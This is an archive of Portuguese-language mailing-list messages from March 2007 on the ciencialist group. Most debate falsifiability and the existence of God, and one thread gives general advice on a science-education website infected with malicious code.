>> sentimento semelhante ao que chamamos de remorso. Em
>> estudos dos diversos
>> órgãos ou componentes do nosso sistema cognitivo
>> identifica-se regiões onde
>> estão os "bancos de dados" e procedimentos de
>> avaliação ética-moral. Célebre
>> é o caso do trabalhador que sofreu dano no célebro
>> provocado por um prego
>> disparado por uma pistola pneumática. Penetrou na
>> cabeça, mas ele continuou
>> consciente e aparentemente não prejudicou em nada
>> seus movimentos e
>> atividades intelectuais. Após a remoção do prego,
>> recuperação e volta ao
>> trabalho, observou-se que o cara estava com um
>> comportamento diferente,
>> aético, entrão, imoral, inconveniente... A partir
>> daí começou-se a fazer
>> testes mais acurados sobre o funcionamento dessa
>> região afetada e de outras
>> regiões do cérebro.
>> >
>> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
>> pode
>> > dar algum prazer, algum tipo de emoção forte. Os
>> > cruéis patológicos têm orgasmos ao praticar
>> violência,
>> > mas é um distúrbio mental que não me parece grande
>> > coisa desejar possuir. Quanto à vontade de usar
>> minha
>> > experiência de vida para discernir o que é melhor,
>> o
>> > que deve ser evitado e o que precisa ser superado,
>> é
>> > um exercício diário que requer tempo, coragem e
>> > reflexão. Cometer os mesmos erros ou o erro dos
>> outros
>> > burrice em dobro. Prefiro tentar algo diferente e
>> que tenha
>> > alguma chance de obter melhores resultados...
>> >
>> >>>>>> E os cruéis não patológicos??? O resto que
>> você
>> > disse é relativo.
>> JR2 - Em sã consciência somos capazes das maiores
>> crueldades e das maiores
>> generosidades. Ilude-se quem acha que não é capaz de
>> fazer alguma ignomínia.
>> Basta estar na situação adequada para praticá-la. E
>> como sempre consideramos
>> algum ponto de referência pode estar certo que não
>> só o resto como tudo o
>> mais é relativo a esse ponto. Em geral, procura-se
>> um ponto ótimo
>> inatingível como referência ou norte.
>> >
>> > JR1 - Mas, Chicão, não é esse objetivo que nos
>> ilude
>> > desde sempre? O crime perfeito! E cada vez mais se
>> > sofistica as formas burlar, de modo a ser à prova
>> de
>> > qualquer investigação, até que alguém de dentro do
>> > esquema se sente enganado e, antes de ser
>> eliminado,
>> > denuncia(RJ) ou mesmo o burlador se rende à
>> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>> >
>> >>>>>> Isso também não poderá acontecer e as coisas
>> > ficarem sob segredo.
>> > Você disse que ser bom era mais vantajoso. Devemos
>> ser
>> > bons porque é mais vantajoso??? Isso depende. Ser
>> mau
>> > também pode ser vantajoso ao invés de ser bom.
>> Note
>> > que o príncipio aqui é o do ganho(teoria dos
>> jogos).
>> > Então ambos são duas faces de uma mesma moeda. Por
>> > esse principio você é igual às siglas. [ ... ]
>> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
>> longo prazo quando todos
>> ganham, e essa possibilidade deve ser considerada e
>> buscada permanentemente.
>> No perde-ganha vc não vive em paz. Alguém vai querer
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SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 01:47

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> 1 - E se o modelo fizer previsões com uma taxa de
> acertos alta e não for falseável???

Como eu disse: "adiós, ciência". Agora, até hoje não produziram essa
criatura.

> 2 - Existe consenso na comunidade em relação ao que
> seja um bom modelo??

Um modelo q preveja com alta precisão, um modelo q preveja uma classe
ampla de fenômenos, um modelo q seja elegante (simples e direto).

> d.i) Acerto de A maior que B e complexidade de A maior
> que B.

A.

[]s,

Roberto Takata



SUBJECT: Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 08:27

Olá Homero!

Homero >>> Você poderia começar informando onde
aprendeu lógica.

--- Hehehhe... No mesmo lugar que vc e todo ser
humano: no berço. Meu primeiro tratado foi o mesmo de
todo ser humano: eu existo.

Homero >>> Porque é um tipo que nunca vimos antes,
totalmente, bem, ilógica. NÃO FAZ SENTIDO..:-) É
absurdo e irracional.

--- Tudo que vc não concorda vc chama de irracional,
é? Hehehe... Ok.

Homero >>> Uma proposição que funciona para TUDO, na
verdade não funciona para NADA.

--- Interessante! Então, por que a ciencia corre
irracionalmente atrás de uma proposição assim? Uma
teoria da unificação? Será que o fato dela ser a coisa
mais óbvia que existe incomoda a ciencia? Será que a
ciencia está correndo atrás ou fugindo?

Homero >>> São argumentos circulares.

--- Claro, o comportamento do universo é circular,
cliclico, ou se preferir, ad infinitum.

Homero >>> Sei lá, nem sei como debater esse tipo de
maluquice.

--- Com ciencia e lógica.

Homero >>> Putz..:-) Putz, muitas vezes putz..:-) Você
escreveu mesmo isso?

--- Bem, ai depende da definição de "eu" e de "voce"
que postulou no berço.

Homero >>> pensa que é um argumento?

--- sim.

Homero >>> Quem disse que não sou a causa de minha
própria existência? Deus falou para você?

--- Falou não: fala. E fala pra vc também, afinal vc
também existe, tem capacidade de perceber e
raciocinar. Vamos lá:

Lógica: 1) Se vc fosse a causa de sua própria
existencia, e não uma consequencia da causa do
universo

LOGO

Lógica: 2) Vc não precisaria se comportar segundo a
causa que cria o universo.

LOGO

Lógica: 3) Voce poderia fazer coisas como, deixar de
existir, existir eternamente, viver sem precisar de
energia, e etc...

PORÉM

Ciencia: 4) Não é o caso. A cada instante vc vira
bosta assim como eu e o capim que a vaca come. E vc
não pode fazer nada contra isto.

LOGO

Lógica: 5) Vc é consequencia, não é causa.

--- Caro companheiro de barco, sei que esta conclusão
dói no livre-arbitrio-materialista, mas fazer o que?
Fugir da realidade é que não adianta. Estamos todos no
mesmo barco.

Homero >>> Está tentando retomar o argumento da "causa
primeira", diversas vezes refutado, e diversas vezes
demonstrado como falacioso?

--- Como eu disse ao Takata, o próprio ato de refutar
já é uma prova contra a refutação. Criando uma
metáfora para isto, seria assim: Uma pessoa sobe em
cima de uma cadeira e gita: "eu sou mudo!" Depois quer
que os outros acreditem na sua teoria. Como? Se o
próprio ato contradiz a teoria?

--- Por favor, tente entender que "argumentar" também
é um fenomeno da natureza... LOGO:???

--- "Penso LOGO existo". O LOGO na frase do Descartes
é muito mais importante para o fazer ciencia do que a
conclusão dele. O "penso" é a ciencia experimental
dele, Descartes observou este fenomeno da natureza: o
pensamento. O "existo" é a cienecia teorica dele, é a
conclusão de Descartes. Porém, o que é o LOGO? Eu sei!
Eu sei! Vc sabe? (hehehe... ok, vou parar com esta
brincadeira)

Homero >>> Opa, opa opa..:-) Que salto lógico não
autorizado é esse??? Uma causa não precisa ter
'querer", ela pode ser totalmente não intencional,
como, aliás, tudo a sua volta. Pedras caem das
montanhas, devido a gravidade, a causa da queda. Mas a
gravidade não "quer" que a pedra caia!

--- Ok, tudo bem Homero, usei uma humanização
semantica, mas não se prenda a semantica, pois quem
fica preso é vc e não a semantica.

Homero >>> Não, nada disso serve. Nada. São apenas
fenômenos, não implicam em uma inteligência a
controla-los. São naturais, tem evidências de serem
naturais, e nenhuma evidência de serem não naturais ou
intencionais.

--- Não disse que não são naturais.

Homero >>> Um ditado diz, se ensinassem a você que
duendes causam chuva, toda vez que chovesse você veria
uma "prova" da existência de duendes.

--- sim.

Homero >>> É seu caso, Ferrari. Ensinaram a você que
deus criou o universo, os seres vivos, etc, e ao ver
um ser vivo, pensa ver uma prova da existência de
deus.

--- sim.

Homero >>> Mas é só 'chuva", Ferrari, nada mais.

--- sim.

Homero >>> Um raciocínio circular baseado em uma
superstição previamente adquirida.

--- supertição não: semantica.

Homero >>> Você acredita que deus criou o tempo, e
portanto, ao encontrar o tempo, pensa ser uma prova de
existência de deus.

--- sim.

Homero >>> Não é lógica, mas erros de lógica o que
apresenta aqui.

--- Não confunda lógica com semantica. Isto tudo que
vc falou ai em cima é uma simples questão semantica. O
que eu faço é usar uma semantica que vc não gosta, só
isto. E pelo visto vc não gosta da semantica dos
duendes, nem da semantica de deus. Mas adora a
semantica da fisica clássica e dos extraterrestres que
abduzem buracos negros. O que posso fazer? Cada um com
seu gosto semantico. Minha recomendação é vc não se
apegar a nenhuma, fique com a lógica, mas ai já é com
vc.

Homero >>> Está alegre demais para algo tão sem
sentido. Não ter uma resposta científica, em algum
momento, NÃO significa que sua superstição pessoal
preferida é correta como alternativa.

--- Hehehehe... Mamo de barco, porque voce não encara
esta observação de frente e diz o que ela significa ao
invés de dizer o que ela não significa? Ou seja, o que
significa não ter uma resposta científica?

Homero >>> "Quem criou este universo foram seres
extradimensionais, de universos paralelos..." Esta
minha "teoria" sobre a criação do universo é tão boa
quanto seu deus criador, com a vantagem de ser mais
razoável.

--- Boa sim, porém, não é razoavel. Observe por si
mesmo e note o seguinte: o universo não "foi criado"
no passado (teoria do big bang) ele "é criado" de
instante em instante, ad infinitum... O universo não é
uma causa, ele é uma consequencia, se a causa cessar
de cria-lo, a consequencia deixa de acontecer. Bem,
aqui fica bem claro e evidente sua crença e apego ao
paradigma materialista.

Homero >>> A frase "o azul é azul" também não deixa de
ser verdade, e é tão inútil e sem sentido quanto a
sua, sobre deus assim desejar.

--- Discordo. "o azul é azul" é fundamental. É uma
observação que aponta para algo muito importante pro
fazer ciencia. Sabe o que?

Homero >>> Você tem uma superstição, e pensa que ela é
a prova de si mesma, de que é real.

--- Eu não tenho nada, nem sou nada pra ter, sou o
capim na barriga da vaca e vou virar bosta assim como
tudo mais. Enquanto isto, observo e concluo, como
qualquer capim humano. O que faço diferente de vc é
usar uma semantica que vc não gosta, só isto. Mas eu
não me incomodo com a sua semantica materialista.
Posso conversar com vc numa boa, e tiro muito proveito
disto. Como vc fica preso na sua semantica, creio que
não aproveita.

Homero >>> Ninguém se disporia a "estudar" a questão
"azul é azul", tanto quanto não se disporia a estudar
a alegação de que "é assim porque deus quer".

--- Bem, eu me disponho sempre. Aliás, "azul é azul" é
uma observação fundamental para se compreender o que é
fazer ciencia. Sabe porque?

Homero >>> Simplesmente não faz sentido, não tem pé
nem cabeça, e não tem evidências de ser minimamente
correta ou razoável.

--- Homero, estou lhe apontando a evidencia, mas não
posso enxergar por vc.



abçomano
ferrari







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SUBJECT: Re: [ciencialist] Re: Novamente Virus no Feira de Ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/03/2007 09:05

Olá Homero,

puxa! só hoje fui ler essa sua mensagem ... caiu em outra pasta no meu Outlouco.

Eu atualizo as páginas do site e acrescento novos artigos através do FTP (e uma senha).

O Convex hospeda o Feira de Ciências gratuitamente, desde 1999. Eis a última reportagem do sistema PLESK instalado pelo Convex em início de 2005:

General
Version psa v8.1.0_build20061129.18 os_Windows 5.2.3790.0
Client status OK On
Company name feiradeciencias.com.br
Personal name Ferraz & Ferraz S/C Ltda - Luiz Ferraz Netto
Login xxxxxxxxxxxxxxxx
Phone (17) 3322-9311
Fax
E-mail leobarretos@uol.com.br
Address R. Argentina, 2357
City Barretos
State/Province S.P.
Postal/ZIP code 14783-192
Country Brazil
Creation date 2005-01-28
Expiration date Unlimited

Domains
Active domains 1
Domains 1
Subdomains 0
Domain aliases 0
Disk space used by Domains 252 MB
Mailboxes 1
Redirects 0
Mail groups 0
Autoresponders 0
AntiSpam 0
AntiVirus 0
Mailing lists 0
Web users 0
MySQL databases 1
MS SQL databases 0
Tomcat applications 0
Shared SSL links 0

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 13 de março de 2007 22:30
Assunto: [ciencialist] Re: Novamente Virus no Feira de Ciencias


Olá Leo

Há diversas possibilidades para o que está acontecendo, e é preciso
mais dados para uma conclusão segura. Seu dominio está registrado
neste servidores:

cvx.convex.com.br
cvxnt2.convex.com.br

Quem é o responsável por eles? Não parecem ser um serviço de dominio
padrão, comercial. Como você atualiza os arquivos, por FPT, pelo Front
Page, Dreamweaver ou outro sistema? Ou por página de controle em HTML
na Web?

O que está ocorrendo pode ter como causa uma falha de segurança no
servidor, o que permite que um invasor possa baixar páginas alteradas
em seu diretório. Se for isso, tem de entrar em contato com o
administrador do servidor e pedir que ele reveja seus processos de
segurança, mude a senha de todo mundo (em especial a sua) e instale as
atualizações do servidor ISS ou Apache (se usar Linux).

Ou pode ser que tenham descoberto sua senha de acesso a atualização, e
estejam usando um cliente de FTP para baixar os arquivos infectados.
Nesse caso basta mudar sua senha (se tiver acesso) ou pedir que o
administrador mude para você (se não tiver acesso).

Uma terceira opção seria seu computador, e não o servidor ou as
páginas, estar infectado. Um virus poderia inserir os códigos
diretamente nas páginas através de seu navegador. Mas, se fosse esse o
caso, apenas sua máquina veria os códigos maliciosos, e não os outros
usuários do site.

Por favor, me dê mais dados para que eu possa descobrir alguma coisa
sobre seu problema.

Um abraço.

Homero
/



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Página de apoio
http://www.ciencialist.com


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Links do Yahoo! Grupos




--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.11/721 - Release Date: 13/03/2007 16:51




SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 09:16

olá takata!

takata >>> O q em nada diz respeito à existência ou
não de deus.

--- de um deus-católico não, mas de um deus-realidade,
sim.

takata >>> Aí eu teria q aceitar o *seus* dogmas.
Seria o mm q dizer q existência da ciência é a prova
de q saci pererê existe.

--- não, ai vc teria que compreender o que é fazer
ciencia.

takata >>> Se deus existe ou não vem pouco ao caso. A
existência do universo e da vida NÃO é prova da
existência de deus (ou de sua inexistência).

--- ai depende o do que vc chama de "universo", o que
vc chama de "vida", e o que vc chama de "deus".

takata >>> O q estou falando é q: toda vez q meteram
deus no meio da ciência a coisa emperrou, a ciência só
tem andado se não enfiarem deus no meio da história
(ou em qq outra parte).

--- sim, tem andado, mas de ponta cabeça, ou seja,
invertida no materialismo


abçomano
ferrari




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SUBJECT: Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 09:39

Olá

Luiz >>> Ferrari, como faço para experimentar esse seu
Deus?

--- Nao faz, é impossivel. Como vc faz pra
experimentar o azul que eu experimento? Nao faz, é
impossivel. Como vc faz pra experimentar a visão da
maça que newton experimentou. Nao faz, é impossivel.
Porque é impossivel? A explicação da ciencia para esta
impossibilidade se chama: Lei da relatividade.
Contudo, experimente experimentar o seu, é tudo que
jamais fez e jamais poderá fazer.

Luiz >>> A vida é uma realidade pois posso sentí-la,
beliscar-me, vive-la, consumí-la (se quiser) e,
dependendo das casualidades posso levá-la na maciota
ou ter que dar um duro para sobreviver. Esse teu deus
... tem um jeitinho de eu sentí-lo, tocá-lo,
beliscá-lo, bater um papo com ele tete-a-tete,
convidá-lo para uma picanha com vinho?

--- Como disse acima, só se a lei da relatividade não
existisse. Mas existe, não?

Luiz >>> ver ele fazer algum 'truque' (como acabar com
a miséria no mundo, com as guerras, com a fome, com as
doenças) típico de um deus?

--- Vc quer dizer: "típico do seu conceito
materialista de deus", não é isto?

Luiz >>> Dá prá ele fazer chover só na minha horta
amanhã às 11:00 horas?

--- Hehehehe... pergunte pra ele?

Luiz >>> Dá prá ele me explicar direitinho o que é um
elétron, como as massas se atraem, o que é carga
elétrica etc.? Coisinhas mínimas assim!

--- Sim, é isto que ele faz quando poe seu cérebro pra
funcionar.

Luiz >>> Ou ele só solta frases de auto-ajuda?

--- Hehehehe... Faz isto também. Pena que é impossivel
ajudar quem não quer ser ajudado.

Luiz >>> Se vc fosse um deus vc agiria assim como ele?
Na moita?

--- Sim, com certeza, descobrir o que está coberto é o
que dá prazer num jogo de descobrir.


abçomano
ferrari



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SUBJECT: Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 09:40

Olá

Luiz >>> Ferrari, como faço para experimentar esse seu
Deus?

--- Nao faz, é impossivel. Como vc faz pra
experimentar o azul que eu experimento? Nao faz, é
impossivel. Como vc faz pra experimentar a visão da
maça que newton experimentou. Nao faz, é impossivel.
Porque é impossivel? A explicação da ciencia para esta
impossibilidade se chama: Lei da relatividade.
Contudo, experimente experimentar o seu, é tudo que
jamais fez e jamais poderá fazer.

Luiz >>> A vida é uma realidade pois posso sentí-la,
beliscar-me, vive-la, consumí-la (se quiser) e,
dependendo das casualidades posso levá-la na maciota
ou ter que dar um duro para sobreviver. Esse teu deus
... tem um jeitinho de eu sentí-lo, tocá-lo,
beliscá-lo, bater um papo com ele tete-a-tete,
convidá-lo para uma picanha com vinho?

--- Como disse acima, só se a lei da relatividade não
existisse. Mas existe, não?

Luiz >>> ver ele fazer algum 'truque' (como acabar com
a miséria no mundo, com as guerras, com a fome, com as
doenças) típico de um deus?

--- Vc quer dizer: "típico do seu conceito
materialista de deus", não é isto?

Luiz >>> Dá prá ele fazer chover só na minha horta
amanhã às 11:00 horas?

--- Hehehehe... pergunte pra ele?

Luiz >>> Dá prá ele me explicar direitinho o que é um
elétron, como as massas se atraem, o que é carga
elétrica etc.? Coisinhas mínimas assim!

--- Sim, é isto que ele faz quando poe seu cérebro pra
funcionar.

Luiz >>> Ou ele só solta frases de auto-ajuda?

--- Hehehehe... Faz isto também. Pena que é impossivel
ajudar quem não quer ser ajudado.

Luiz >>> Se vc fosse um deus vc agiria assim como ele?
Na moita?

--- Sim, com certeza, descobrir o que está coberto é o
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abçomano
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SUBJECT: Re:P/ Silvio: Sobre o Método Cientifico - adinfinitum e adloc
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 09:45

Olá Silvio!

>>> Já tive sitio: nada melhor...

--- Sim, é ótimo, pro corpo e pra mente. Mas não é
meu, apenas estou morando nele.

>>> Tenho um excelente casal de sacis para vender.
Caso interesse, para fazer uma criação, vamos
negociar.

--- Depende do tipo de peneira usou para apanha-los, e
também se são sacis da perna direita ou esquerda.
Hehehehe...


abçoprimo
ferrari




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SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 11:02

----- Original Message -----
From: "Chicao Valadares"
Sent: Sunday, March 18, 2007 11:14 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Alberto, isso que voce escreveu é verdade mesmo??
> Então a coisa é mais séria que eu pensava... Talvez seja correto
> dizer que o que se propaga como ciência por aí seja
> um "fundamentalismo cético"(gostei desse termo :p).

"Quem propaga a ciência por aí" em geral não é um cientista produtor
de conhecimentos científicos mas, via de regra, um estudioso e/ou
amante dos avanços científicos. O Homero, por exemplo, parece querer
associar a funcionalidade de um GPS à veracidade da relatividade
moderna, e quero crer que existem muitos cientistas produtores de
conhecimento que não concordariam com ele, até mesmo dentre os
defensores da física moderna. Não sei até que ponto isso serviria
para exemplificar o que você chamou por "fundamentalismo cético", se
é que entendi a locução. Com respeito a esses defensores da física
moderna acima citados, repito o que escrevi no artigo original
[Fonte: http://ecientificocultural.com/ECC2/artigos/metcien3.htm]:
"Certos ou errados, neste caso, os físicos modernos [...] fizeram uma
opção contrária à norma falsificacionista, e não há como criticá-los
por essa conduta, a menos que se pretenda atribuir ao
falsificacionismo uma qualidade que ele não possui: a de estabelecer
critérios absolutos de veracidade..."

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 11:19

----- Original Message -----
From: "José Renato"
Sent: Monday, March 19, 2007 7:09 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Olá, Alberto! Parece-me que a ciência não pode se desenvolver
> separada das questões para que e por que. Seria uma humanidade
> robô pesquisando, descobrindo e produzindo coisas apenas para
> se manter ocupado, sem finalidade, avaliação, discernimento,
> preocupação ou intenção. Hoje a ciência está a serviço do capital.
> Não seria nenhuma novidade afirmar que já há algum tempo o
> principal objetivo em todos os ramos da ciência é pesquisar
> para gerar lucro.

Olá José Renato

Sob muitos aspectos você está certo, e chego a comentar algo sobre
isso no item 5 do meu artigo "O método científico" que pode ser lido
a partir de
http://ecientificocultural.com/ECC2/FilCien/metcien03.htm .
Não obstante, e como é comentado nos subitens a seguir, em especial
no 5.2 (Sobre o amadorismo em ciência), eu diria que "o buraco é mais
embaixo". Sob esse aspecto, chego à seguinte conclusão (final do item
5.3): "Nunca é demais realçar que a ciência, em seu procedimento
inicial é um investimento a fundo perdido e, como tal, sem
expectativa de retorno. Neste sentido justifica-se a adoção do termo
ciência pura naquele estilo adotado por Faraday, um dos cientistas
caracteristicamente amador do século XIX, conquanto possamos
considerá-lo, sem medo de errar, um dos precursores do avanço
tecnológico que vingou no século XX."

Como diria Faraday: "Para que serve uma criança ao nascer?".
Substitua "criança" por "teoria científica" e perceba que a resposta
poderá ser relevante politicamente falando, mas isso terá muito pouco
significado para o autor da teoria no momento de sua apresentação.
Quero crer que é aí que reside uma das diferenças fundamentais entre
ciência e tecnologia, ou entre o que Carlo Rubbia descreveu como "a
primeira etapa do sistema" e como "a segunda etapa do sistema". Quero
crer que nós, cientistas, pertencemos à primeira etapa do
sistema: "Uma etapa absolutamente essencial mas que é baseada,
sobretudo, na falta de um fim específico".

Quem se preocupa com os "para quês" poderá vir a ser um grande
político ou um grande tecnólogo mas, a meu ver, dificilmente
produzirá algo de elevado valor científico, pelo menos no sentido de
inovação científica.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 11:50

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- de um deus-católico não, mas de um deus-realidade,
> sim.

Idem para um deus-realidade. (Ou podemos chamar de saci-realidade,
unicornio-realidade, curupira-realidade.)

> --- não, ai vc teria que compreender o que é fazer
> ciencia.

Bem, digamos q minha formacao cientifica nao foi tao desastrosa a
ponto de eu nao saber o q seja fazer ciencia. Mas fica na mm, dizer q
a ciencia prova q deus existe, eh a mm coisa q dizer q a ciencia
prova q saci existe.

> takata >>> Se deus existe ou não vem pouco ao caso. A
> existência do universo e da vida NÃO é prova da
> existência de deus (ou de sua inexistência).
>
> --- ai depende o do que vc chama de "universo", o que
> vc chama de "vida", e o que vc chama de "deus".

Universo - sistema q engloba todo o espaco-tempo e o q nele existe,
composto (em escala macroscopica) de partes causalmente conectadas.
Vida - propriedade de entidades redutoras puntuais de entropia, cuja
atividade tenda a produzir novas copias de si mm.
Deus - ser transcendente, consciente e q supostamente teria criado o
universo ou, de modo mais generico, uma forca superior.

> --- sim, tem andado, mas de ponta cabeça, ou seja,
> invertida no materialismo

Sua opiniao de q seja de ponta cabeca. A verdade eh q a ciencia tem
avancado. Cada vez mais consegue explicar mais e mais detalhes sobre
como o mundo funciona. E as explicacoes nao sao apenas coerentes, mas
sao robustas o suficiente a ponto de permitir q tais conhecimentos
sejam usados de tal modo q os seres humanos consigam manipular os
elementos naturais 'a sua volta: desenvolver tecnologias q curam e
previnem doencas e outras afeccoes, desenvolver metodos de maiores e
melhores colheitas, desenvolver processos de contencao de efeitos de
desastres climaticos, criar novos e melhores modos de comunicacao 'a
distancia, produzir maiores e melhores casas, etc - claro, tb permite
a producao de armas de destruicao em massa, questao de saber usar o
conhecimento com prudencia. Se isso eh estar de ponta cabeca, os
morcegos eh q estao certos. Toda vez q meteram deus no meio, nada
disso foi possivel e ateh foi destruido. Deixem deus fora das
ciencias. Deixem as ciencias fora das religioes.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 12:27

Freud nao é um exemplo de 1??

A resposta de "d.i" significa que a prioridade é(quem
vem primeiro tem maior prioridade):
1) taxa de acertos ;
2) complexidade.
???


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > 1 - E se o modelo fizer previsões com uma taxa de
> > acertos alta e não for falseável???
>
> Como eu disse: "adiós, ciência". Agora, até hoje não
> produziram essa
> criatura.
>
> > 2 - Existe consenso na comunidade em relação ao
> que
> > seja um bom modelo??
>
> Um modelo q preveja com alta precisão, um modelo q
> preveja uma classe
> ampla de fenômenos, um modelo q seja elegante
> (simples e direto).
>
> > d.i) Acerto de A maior que B e complexidade de A
> maior
> > que B.
>
> A.
>
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 12:32

Homero, vou olhar com mais calma o conceito de
falseabilidade. Eu acho que estou confundindo hipotese
falseavel com teoria falseavel.

Quanto a discordância em relação a Alberto voce
conseguiria dizer com poucas palavras qual o problema
no modelo dele???

--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "1 - E se o modelo fizer previsões com uma
> taxa de acertos
> alta e não for falseável???"
>
> Isso não é possível, por definição. Uma das formas
> de ser "falseável"
> é fazer previsões. Talvez devesse dar especial
> atenção ao conceito de
> falseável, o que significa ser falseável, Chicão.
>


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O que há é pouca gente para dar por isso... "
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SUBJECT: Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 13:25

Olá Ferrari

Bem, eu recomendaria um bom psiquiatra, você está bem perto de uma
crise de esquizofrenia grave..:-) Seu discurso perdeu o rumo, e só
parece fazer sentido para você..:-)

Na verdade, tirando a brincadeira acima, diversos esquizofrenicos tem
"provas" da existência de deus muito parecidas com a sua. Claro que
muitos tem provas da existência de duendes, fadas, seres demoniacos,
ETs, etc, que usam o mesmo "raciocínio", mas isso não deve preocupa-lo.

Ninguém aprende lógica "no berço". O termo define um conjunto de
proposições, uma ferramenta, bem estruturada, e não se confunde com
percepções internas como "eu existo".

Sua noção desse assunto é incorreta, mas tem tanta certeza de suas
"verdades" que torna impossível debater logicamente. Não porque seus
"argumentos" sejam corretos, mas porque nem se parecem com argumentos
minimamente válidos.

Deus, seu deus, ou a divindade que preferir, não tem evidências de
existir. Uma força não intencional, poderosa, NÃO se encaixa no
conceito, qualquer conceito, de deus.

O resto é maluquice, e merece um bom psiquiatra..:-)

Um abraço.

Homero




SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 13:49

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Freud nao é um exemplo de 1??

Por q?

> A resposta de "d.i" significa que a prioridade é(quem
> vem primeiro tem maior prioridade):
> 1) taxa de acertos ;
> 2) complexidade.
> ???

Taxa de acerto.

[]s,

Roberto Takata



SUBJECT: Fw: PESQUISA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <artedepensar@yahoogrupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 20/03/2007 15:38







VAMOS SALVAR ESTE SITE:
Imaginem um lugar onde se pode ler gratuitamente as obras de Machado de Assis, ou A Divina Comédia, ou ter acesso a contos infantis de todos os tempos ou a autores de medicina.

Um lugar que lhe mostra as grandes pinturas de Leonardo da Vinci, onde se pode escutar músicas em MP3 de alta qualidade. Esse lugar existe!

O Ministério da Educação coloca à nossa disposição tudo isso. Basta acessar o site http://www.dominiopublico.gov.br

Só de literatura portuguesa são 732 obras. Estamos em via de perder esse lugar, pois vão desativar o projeto por falta de uso, já que o volume de acesso é muito reduzido. Vamos tentar impedir esta perda inestimável, divulgando e incentivando amigos, parentes e conhecidos a utilizarem esta fantástica ferramenta de disseminação da produção cultural.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 17:37

Eu acho que entendi errado o conceito de falsificação.
A teoria de freud é falseável sim simplesmente porque
eu posso ver seus efeitos no mundo e medir a taxa de
acertos.
O problema é se foi uma pulsão que me mandou olhar
para o corpo da mulher do vizinho ou foi o capeta. Não
há como dizer quais das duas é verdadeira mas dá para
ficar com o mais simples(navalha). Toda questão aqui é
se a tese da influência demoníaca consegue acertar
mais. E como Takata disse, dane-se a ciência como tal,
caso isso seja verdade.

